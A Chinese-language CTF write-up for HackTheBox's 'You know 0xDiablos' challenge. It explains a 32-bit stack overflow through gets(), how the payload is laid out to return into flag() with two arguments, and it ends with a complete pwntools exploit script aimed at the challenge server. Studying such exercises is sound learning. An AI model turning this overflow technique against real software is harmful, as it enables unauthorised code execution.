引言

  • 项目概述:HTB的EASY难度 PWN靶机 You know 0xDiablos https://app.hackthebox.com/challenges/106 本文详细解释了溢出payload的结构以及为什么要这样构造,友好的为想要入手PWN的朋友解释了原理
  • 技术点涉及: 32位linux逆向、32位程序调用、栈溢出
  • 目标与读者:网络安全兴趣爱好者、PWN新手

基本情况

运行看看

1
2
3
4
└─$ ./vuln   
You know who are 0xDiablos:
aaaa
aaaa

输入啥,就吐出啥

使用checksec查一下保护

1
2
3
4
5
6
7
8
9
─$ checksec vuln      
[*] '/home/att/htb/Youknow0xDiablos/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments

意思是没有任何保护,实实在在的新手题,可以更聚焦栈溢出的核心原理

逆向分析

将程序放到IDA分析

主函数中发现一个叫做vuln的函数
应该就是目标了

gets()很标准的高危函数

这里有个数组s距离ebp B8H
gets(s),那么就可以利用这个s数组进行溢出
junk = b'a'*0xB8

想象下,我们输入了大量垃圾内容,从栈的某个位置一直写到栈的底部,栈底指针EBP指向的是父函数的EBP值,然后EBP+0x4的位置就是存放的当前函数的返回地址(父函数调用当前函数后的下一行指令地址)
是不是多写点就可以改变函数的运行

那么攻击载荷就可以这样大致构建了
payload = junk + ebp+ret

很明显,是要我去分析那个flag函数

flag函数打开了flag.txt,如果两个参数比较成功就会返回读取的值
就是说我还得在栈中构建好两个参数
最终的攻击载荷大致就是这个结构
payload = junk + ebp+ret + ret2 + arg1 + arg2

call逻辑讲解

这里来讲解下为什么要这么构建payload
由于IDA F5是变成了伪C代码,所以调用约定是C的调用约定
32位程序,参数从右至左,依次入栈

正常call flag的流程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
push arg2
push arg1

call flag_addr

xxxcommand

flag:
/*进入函数前相当于做个这个操作,这里我是用汇编命令做比喻,而不是真的执行了这两个命令
push ret(xxxcommand的地址)
mov eip ,flag_addr
*/

; 保存返回地址
push ebp
mov ebp, esp

; 访问第一个参数(eax)
mov eax, [ebp + 8]

; 访问第二个参数(ebx)
mov ebx, [ebp + 12]

; 执行函数体
; ...

; 恢复返回地址
mov esp, ebp
pop ebp
ret

而我要伪造一个call,就需要在栈里面调整好参数的站位,而且要注意我使用ret,而不是call,ret不会push一个地址进去。下面我会详细讲解为什么payload是这样构造的,结构为什么这样排列

1
2
3
4
5
6
7
正常call的栈

ebp_调用flag函数的EBP指针的值(进入函数后第一个指令就是push ebp,这里打个Tab用来区分其他已有的内容)

ret_addr_调用flag函数的下一行指令的地址
arg1
arg2

而我要调用flag,就得将返回地址覆盖为flag的地址
大致的载荷构建结构如下

1
2
3
4
5
xxxxx垃圾数据
+
ebp_调用flag的父函数的ebp
+
flag()的地址

而且flag还有参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
xxxxx垃圾数据
+
ebp_随便一个EBP地址,反正不用回主函数了
+
flag()函数的地址
+
(这个在载荷中去掉,理由是从返回结果推导得到)ebp_随便一个EBP地址,反正不用回vuln函数了(正常call才要这个),这里是直接用的ret跳到flag()了
+
ret_回vuln的地址,为什么我会留下作为理解,而不是ebp,是因为实际进入flag()函数的时候,栈顶的位置就应该是返回地址而不是ebp,后面执行第一个指令`push ebp`,才会将ebp写入栈顶,而且flag()执行完毕后最终会返回到这个地址

+
arg1
+
arg2

所以32位的paylaod像这构造

1
payload = junk + ebp + ret + ret2 + arg1 + arg2

发送payload

可以看到刚进flag函数的时候
栈顶的值是这样,这时候还没有执行push ebp,说明如果这是正常的call的话,这里存放的应该是调用flag()的下一行指令的地址,也就是flag()执行完毕后需要返回的地址,这里的ebp的值是0x62626262是因为ebp=b'b'*4,我随便写的四个b在哪里占位置

1
0xffce8ac0:     0xdeadbeef63636363 

完整的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

target='./vuln'
# context.binary指定了目标程序后,例如pack就可以自动根据目标是多少位来打包

context.binary = target
e = ELF(target)
# 远程连接
r=remote('83.136.253.163', 37682)

# 本地执行
# r=process(target)

# 本地调用gdb进行调试
# r=gdb.debug(target)
junk=b'a'*0xB8
ebp=b'b'*4
ret=0x080491E2
ret2=b'c'*4
arg1=0xDEADBEEF
arg2=0xC0DED00D
# pack 根据context.binary的环境来打包,这里由于是32位可执行文件,所以这里的pack可以视同为p32,打包为32位小端字节序
payload=junk+ebp+pack(ret)+ret2+pack(arg1)+pack(arg2)
# print(payload)
tmp=r.sendlineafter(b'You know who are 0xDiablos:', payload)
# 转化为交互式,就不用一直print输出的值了
r.interactive()